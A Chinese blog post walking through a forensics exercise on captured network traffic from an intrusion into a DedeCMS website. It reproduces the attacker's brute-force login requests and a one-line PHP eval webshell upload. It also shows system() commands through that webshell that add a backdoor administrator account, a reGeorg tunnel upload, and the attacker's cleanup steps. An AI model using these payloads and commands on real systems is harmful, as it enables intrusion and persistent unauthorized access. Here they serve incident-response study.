Sky's blog

数据分析-企业渗透过程

字数统计: 2,811阅读时长: 14 min
2018/04/21 Share

前记

本篇文章对真实企业渗透流量进行分析,其中包括最开始的目录爆破,到最后的反向代理文件上传成功

题目要求

1
2
3
4
5
6
7
8
9
10
黑客拿到一台服务器的权限,之后进行了内网渗透
1.被攻击的服务器的内网地址
2.被攻击的服务器的外网地址
3.攻击者的ip地址
4.爆破出的后台地址
5.爆破出的后台登录用户名和密码
6.webshell的完整路径
7.被攻击服务器的主机名
8.被攻击服务器的网站根目录
9.黑客获得的权限

数据分析

题目给了大约6个G的数据文件
直接盲目追踪tcp流显然是非常愚钝的方式。
我们的首要目标应该是筛选出攻击者ip和受害者ip
从而实现有效的定点溯源
而日志文件这个时候就成了很好的切入点

日志文件打开切入点

我们选择日志文件查看
排除内网地址,我们可以看到ip

1
202.99.27.194

疯狂对网站发起请求
于是基本可以确定此ip为攻击者
于是我们去wireshark中过滤出相应的攻击流

第一个数据包分析

打开第一个数据流,我们尝试命令

1
ip.src == 202.99.27.194 && http

可以发现大量流量如下图
<
不难发现受害者内网ip为

1
172.16.60.199

同时得知黑客攻击的第一步为fuzz目标网站目录
然后我们调用wireshark的http负载分配功能

不难得出,受害者外网ip为

1
118.194.196.232

至此我们已经完成了题目的前3题:

1
2
3
1.被攻击的服务器的内网地址
2.被攻击的服务器的外网地址
3.攻击者的ip地址

答案

1
2
3
172.16.60.199
118.194.196.232
202.99.27.194

第二个数据包分析

然后题目要求我们找出后台地址
故此我们使用过滤条件

1
ip.src == 202.99.27.194 && http

不难发现在第二个数据文件中,有如下结果

黑客不断对

1
/simplexue/login.php

进行post数据
我们查看post内容,随便选取一个http请求头查看

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /simplexue/login.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/login.php
Cookie: PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

gotopage=&dopost=login&adminstyle=newdedecms&userid=admin&pwd=qwerty

不难看出黑客在尝试密码爆破

1
userid=admin&pwd=qwerty

故此猜测出,该地址为受害者网站后台
然后我们继续追踪,查看黑客是否爆破登录成功
过滤指令如下

1
ip.src == 202.99.27.194 && http.request.method=="POST"

然后我们将结果按照爆破时间排序
发现最后一次post结果为

1
gotopage=&dopost=login&adminstyle=newdedecms&userid=admin&pwd=admin123&sm1=


1
userid=admin&pwd=admin123

并且发现发现响应包

1
Set-Cookie: DedeUserID=1; expires=Wed, 10-Aug-2016 02:36:28 GMT; path=/

其中

1
DedeUserID=1

故此判断应该登录成功
并且看到后面的标题

1
<title>DedeCMS........</title>

还能发现受害者网站使用了DedeCMS

第四个数据包分析

为什么没有第三个数据包分析= =
因为第三个是黑客在寻找后台功能,最终找到可上传文件点
这里就直接看第4个数据包了,因为基本都有涉及
我们使用如下指令

1
ip.src == 202.99.27.194 && http.request.method=="POST"

不难发现

我们查看

1
/simplexue/file_manage_control.php

可以发现黑客上传的http请求头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /simplexue/file_manage_control.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/file_manage_view.php?fmdo=upload&activepath=%2Fuploads
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1; PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------76031573231889
Content-Length: 591

-----------------------------76031573231889
Content-Disposition: form-data; name="activepath"

/uploads
-----------------------------76031573231889
Content-Disposition: form-data; name="fmdo"

upload
-----------------------------76031573231889
Content-Disposition: form-data; name="upfile1"; filename="jian.php"
Content-Type: application/octet-stream

<?php eval($_POST[g]);?>
<?php eval($_POST[g]);?>
<?php eval($_POST[g]);?>
-----------------------------76031573231889
Content-Disposition: form-data; name="B1"

........
-----------------------------76031573231889--

黑客上传了一个名为

1
jian.php

一句话木马文件
其中代码为

1
<?php eval($_POST[g]);?>

到此我们已经又完成了2道题目

1
2
4.爆破出的后台地址
5.爆破出的后台登录用户名和密码

答案

1
2
/simplexue/login.php
userid=admin&pwd=admin123

我们接着查看下一题

6.webshell的完整路径
我们查看黑客的第一条指令的http头

1
2
3
4
5
6
7
8
9
10
11
12
POST /uploads/jian.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

g=phpinfo();

不难发现黑客执行了phpinfo()命令
返回中可以看到

1
<b>Notice</b>:  Use of undefined constant g - assumed 'g' in <b>C:\phpStudy\WWW\dedecms\uploads\jian.php</b> on line <b>1</b><br />

即可发现webshell的绝对路径

1
C:\phpStudy\WWW\dedecms\uploads\jian.php

然后我们依次查看黑客执行的命令

1
2
3
4
5
Form item: "g" = "system("whoami");"
system("net user test test /ad");
system("net localgroup administrators test /ad");
system("net user test");
system("netstat -ano");

不难发现黑客添加了管理员用户,账号密码为

1
test test

并且

1
netstat -ano

内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Proto  Local Address          Foreign Address        State           PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1512
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 960
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 4008
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1039 0.0.0.0:0 LISTENING 668
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1608
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 4088
TCP 172.16.60.199:80 202.99.27.194:41601 ESTABLISHED 392
TCP 172.16.60.199:135 172.16.60.199:3869 ESTABLISHED 960
TCP 172.16.60.199:139 0.0.0.0:0 LISTENING 4
TCP 172.16.60.199:3144 95.80.107.117:3389 ESTABLISHED 1108
TCP 172.16.60.199:3160 193.124.23.254:3389 ESTABLISHED 1108
TCP 172.16.60.199:3162 200.27

发现开放端口

1
80 135 443 445 1039 3306 3389

为了更加详细的了解目标网站的存在问题
我们导出phpinfo文件
保存为1.html
即可发现

1
Windows NT SIMPLE-W7LOIJIF 5.2 build 3790 (Windows Server 2003 Enterprise Edition Service Pack 1) i586

可以发现主机名为

1
SIMPLE-W7LOIJIF

至此
9道题目全部完结
整合所有答案

1
2
3
4
5
6
7
8
9
1.被攻击的服务器的内网地址
2.被攻击的服务器的外网地址
3.攻击者的ip地址
4.爆破出的后台地址
5.爆破出的后台登录用户名和密码
6.webshell的完整路径
7.被攻击服务器的主机名
8.被攻击服务器的网站根目录
9.黑客获得的权限

答案

1
2
3
4
5
6
7
8
9
172.16.60.199
118.194.196.232
202.99.27.194
/simplexue/login.php
userid=admin&pwd=admin123
C:\phpStudy\WWW\dedecms\uploads\jian.php
SIMPLE-W7LOIJIF
C:\phpStudy\WWW\dedecms\
administrator

继续探索

但是我们的深入研究之路还未结束,我们继续往后发掘
在第6个数据包里
我们执行过滤指令如下

1
ip.src == 202.99.27.194 && http

不难看到,黑客再次使用了上传功能

其中我们看见上传内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /simplexue/file_manage_control.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/file_manage_view.php?fmdo=upload&activepath=%2Fuploads
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1; PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------102512441528556
Content-Length: 6315

-----------------------------102512441528556
Content-Disposition: form-data; name="activepath"

/uploads
-----------------------------102512441528556
Content-Disposition: form-data; name="fmdo"

upload
-----------------------------102512441528556
Content-Disposition: form-data; name="upfile1"; filename="tunnel.php"
Content-Type: application/octet-stream

<?php
/* _____
____ ______ __|___ |__ ______ _____ _____ ______
| | | ___|| ___| || ___|/ \| | | ___|
| \ | ___|| | | || ___|| || \ | |

根据上传文件名,我们百度进行搜索
发现这是一个内网反向代理的文件
工具名为:http_reGeorg
然后我们又在最后一个数据包里发现了黑客对反向代理文件的操作如下图

最后黑客利用file_manage_control.php
删除了自己上传的反向代理文件tunnel.php

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /simplexue/file_manage_control.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/file_manage_view.php?fmdo=del&filename=tunnel.php&activepath=
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1; PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

fmdo=del&activepath=&filename=tunnel.php&imageField1.x=34&imageField1.y=17

然后,黑客删除了自己添加的用户

1
2
Form item: "g" = "system("net user test /del");"
Form item: "g" = "system("net user");"

最后,黑客再次利用file_manage_control.php删除了自己的一句话木马文件

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /simplexue/file_manage_control.php HTTP/1.1
Host: 118.194.196.232:800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.194.196.232:800/simplexue/file_manage_view.php?fmdo=del&filename=jian.php&activepath=%2Fuploads
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1; PHPSESSID=hclgsc0gbrgg4fohi9jpf6lp34; DedeUserID=1; DedeUserID__ckMd5=017c4976c44b20da; DedeLoginTime=1470710188; DedeLoginTime__ckMd5=9e010954dc011063; ENV_GOBACK_URL=%2Fsimplexue%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 82

fmdo=del&activepath=%2Fuploads&filename=jian.php&imageField1.x=31&imageField1.y=17

至此全渗透过程结束

后记

总体来说,黑客做了如下事情

1
2
3
4
5
6
7
8
1.目录爆破
2.爆破后台管理员账户
3.寻找利用后台可利用功能
4.一句话木马上传
5.利用木马在目标机器上添加管理员用户
6.黑客上传反向代理文件
7.黑客进行内网渗透
8.黑客结束渗透,进行尾部处理工作

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前记
  2. 2. 题目要求
  3. 3. 数据分析
    1. 3.1. 日志文件打开切入点
    2. 3.2. 第一个数据包分析
    3. 3.3. 第二个数据包分析
    4. 3.4. 第四个数据包分析
  4. 4. 继续探索
  5. 5. 后记